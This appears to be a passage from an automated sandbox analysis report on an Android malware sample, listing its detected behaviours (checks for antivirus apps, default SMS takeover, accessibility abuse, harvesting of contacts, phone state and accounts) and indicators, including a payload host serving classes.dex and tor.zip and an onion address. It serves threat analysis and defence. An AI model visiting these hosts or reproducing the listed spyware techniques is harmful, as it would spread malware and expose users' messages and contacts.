Source: Lx/x/x/d/b;-><clinit>()V	Method string: "com.eset.ems2.megafon"
Source: Lx/x/x/d/b;-><clinit>()V	Method string: "com.drweb"
Source: Lx/x/x/d/b;-><clinit>()V	Method string: "com.avast.android.mobilesecurity"

Stealing of Sensitive Information:

Sets itself as the default SMS application

Show sources

Source: Lru/delivery/collapse/a;->a([B)Ljava/lang/String;	Method string: "android.provider.Telephony.SMS_DELIVER"
Source: Lx/x/x/a/a;->a(Landroid/content/Context;)V	Method string: "android.provider.Telephony.SMS_DELIVER"

Uses accessibility services (likely to control other applications)

Show sources

Source: ru.delivery.collapse.Bless;->a:12

API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText

Has permission to read contacts

Show sources

Source: submitted apk

Request permission: android.permission.READ_CONTACTS

Has permission to read the phones state (phone number, device IDs, active call ect.)

Show sources

Source: submitted apk

Request permission: android.permission.READ_PHONE_STATE

Has permission to receive SMS in the background

Show sources

Source: submitted apk

Request permission: android.permission.RECEIVE_SMS

Monitors incoming Phone calls

Show sources

Source: ru.delivery.collapse.Steel

Registered receiver: android.intent.action.PHONE_STATE

Monitors incoming SMS

Show sources

Source: ru.delivery.collapse.Explode

Registered receiver: android.provider.Telephony.SMS_RECEIVED

Queries a list of installed applications

Show sources

Source: x.x.x.b;->c:93	API Call: android.content.pm.PackageManager.getInstalledApplications
Source: x.x.x.a.a;-><init>:46	API Call: android.content.pm.PackageManager.queryIntentActivities

Queries phone contact information

Show sources

Source: ru.delivery.collapse.b;->d:65	Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
Source: x.x.x.b;->d:128	Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
Source: x.x.x.b;->e:178	Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI

Queries stored mail and application accounts (e.g. Gmail or Whatsup)

Show sources

Source: com.google.android.gms.e.a.a;->a:51

API Call: android.accounts.Account.name

Signature Similarity

Sample Distance (10 = nearest)

10 9 8 7 6 5 4 3 2 1

Similar Samples

Samplename	Analysis ID	SHA256	Similarity

Antivirus Detection

Initial Sample

Source	Detection	Scanner	Label	Link
AS4FMH9hKE	16%	virustotal		Browse

Dropped Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
cdn1e699bdc.com	3%	virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://cdn1e699bdc.com/classes.dex	0%	virustotal		Browse
http://cdn1e699bdc.com/classes.dex	0%	Avira URL Cloud	safe
http://cdn1e699bdc.com/	3%	virustotal		Browse
http://cdn1e699bdc.com/	0%	Avira URL Cloud	safe
http://cdn1e699bdc.com/tor.zip	0%	virustotal		Browse
http://cdn1e699bdc.com/tor.zip	0%	Avira URL Cloud	safe
http://un6kqz7yotjtuqwi.onion	0%	Avira URL Cloud	safe

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.217.168.68	http://reimagetech.be?7L=UPmA1TBOQJCTRQDWZGFSCQY0CQi	Get hash	malicious	Browse	www.google.com/afs/ads/i/iframe.html
	.exe	Get hash	malicious	Browse	www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=apple.com+e-mail&num=100
	1cwy@cmmai.exe	Get hash	malicious	Browse	www.google.com/sorry/index?continue=http://www.google.com/search%3Fhl%3Den%26ie%3DUTF-8%26oe%3DUTF-8%26q%3Demail%2Baol.com%26num%3D100&hl=en&q=EgSwCmKEGPrxutoFIhkA8aeDS1Lfubtein6nVWahwipquD0_Ng8eMgFy
	9anything.com.html .exe	Get hash	malicious	Browse	www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=contact+e-mail+theriver.com&num=100
	system.ps1	Get hash	malicious	Browse	www.google.com/
	.exe	Get hash	malicious	Browse	www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=apple.com+mailto&num=100
	1transcrip.exe	Get hash	malicious	Browse	www.google.com/sorry/index?continue=http://www.google.com/search%3Fhl%3Den%26ie%3DUTF-8%26oe%3DUTF-8%26q%3Dinternet.com%2Be-mail%26num%3D50&hl=en&q=EgSwCmKJGJW14NoFIhkA8aeDS09NnFcnwbjK8dqCa2NixDeVkrmDMgFy
	21transcript.exe	Get hash	malicious	Browse	www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=mail+oss.software.ibm.com&num=100
	Zy0M1WxyF2.exe	Get hash	malicious	Browse	www.google.com/
	69proshikane.exe	Get hash	malicious	Browse	www.google.com/sorry/index?continue=http://www.google.com/search%3Fhl%3Den%26ie%3DUTF-8%26oe%3DUTF-8%26q%3Dcontact%2Bemail%2Bus.ibm.com%26num%3D100&hl=en&q=EgSwCmKLGPPY_9oFIhkA8aeDS42k8X_U-YlFSBij2DhC6jxLVWwNMgFy
108.177.127.188	AVPlayer_085650.apk	Get hash	malicious	Browse
	dqHrTsXEK0.apk	Get hash	malicious	Browse
	XEUNVKSQH4	Get hash	malicious	Browse
	dronefly.apk	Get hash	malicious	Browse
	Wn4s99YjZz.MRG	Get hash	malicious	Browse
	rootme1.apk	Get hash	malicious	Browse
	com.skt.skaf.OA00026910_2018-12-17.apk	Get hash	malicious	Browse
	esE036YtqW	Get hash	malicious	Browse
	8KP5u03bC6	Get hash	malicious	Browse
	m36EyGg6k4	Get hash	malicious	Browse
	d2vPNAZhAW	Get hash	malicious	Browse
	ZyuL16KGfv	Get hash	malicious	Browse
	Download_Files.apk	Get hash	malicious	Browse
	o1yZY5rMU4	Get hash	malicious	Browse
	KW34anYcOZ.apk	Get hash	malicious	Browse
	GlanceLove_v7.1_apkpure.com.apk	Get hash	malicious	Browse
	80E14BUx7D.MRG	Get hash	malicious	Browse
	W1qdeOfq53.MRG	Get hash	malicious	Browse
	base.apk	Get hash	malicious	Browse
	WvYm9VUXRx	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
unknown	Invoice0186.pdf	Get hash	malicious	Browse	192.168.0.40
	P_2038402.xlsx	Get hash	malicious	Browse	192.168.0.44
	bad.pdf	Get hash	malicious	Browse	192.168.0.44
	RFQ.pdf	Get hash	malicious	Browse	192.168.0.44
	100323.pdf	Get hash	malicious	Browse	192.168.0.44
	Copy.pdf	Get hash	malicious	Browse	127.0.0.1
	2.exe	Get hash	malicious	Browse	192.168.0.40
	UPPB502981.doc	Get hash	malicious	Browse	192.168.0.44
	Adm_Boleto.via2.com	Get hash	malicious	Browse	192.168.0.40
	00ECF4AD.exe	Get hash	malicious	Browse	192.168.0.40
	PDF_100987464500.exe	Get hash	malicious	Browse	192.168.0.40
	filedata.exe	Get hash	malicious	Browse	192.168.0.40
	.exe	Get hash	malicious	Browse	192.168.1.60
	33redacted@threatwave.com	Get hash	malicious	Browse	192.168.1.71
unknown	Invoice0186.pdf	Get hash	malicious	Browse	192.168.0.40
	P_2038402.xlsx	Get hash	malicious	Browse	192.168.0.44
	bad.pdf	Get hash	malicious	Browse	192.168.0.44
	RFQ.pdf	Get hash	malicious	Browse	192.168.0.44
	100323.pdf	Get hash	malicious	Browse	192.168.0.44
	Copy.pdf	Get hash	malicious	Browse	127.0.0.1
	2.exe	Get hash	malicious	Browse	192.168.0.40
	UPPB502981.doc	Get hash	malicious	Browse	192.168.0.44
	Adm_Boleto.via2.com	Get hash	malicious	Browse	192.168.0.40
	00ECF4AD.exe	Get hash	malicious	Browse	192.168.0.40
	PDF_100987464500.exe	Get hash	malicious	Browse	192.168.0.40
	filedata.exe	Get hash	malicious	Browse	192.168.0.40
	.exe	Get hash	malicious	Browse	192.168.1.60
	33redacted@threatwave.com	Get hash	malicious	Browse	192.168.1.71

JA3 Fingerprints

No context

Dropped Files

No context

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report AS4FMH9hKE

Overview

General Information

Detection

Confidence

Classification

Mitre Att&ck Matrix

Signature Overview

AV Detection:

Privilege Escalation:

Spreading:

Networking:

Spam, unwanted Advertisements and Ransom Demands:

Operating System Destruction:

Change of System Appearance:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Signature Similarity

Similar Samples

Antivirus Detection

Initial Sample

Dropped Files

Domains

URLs

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Screenshots

Thumbnails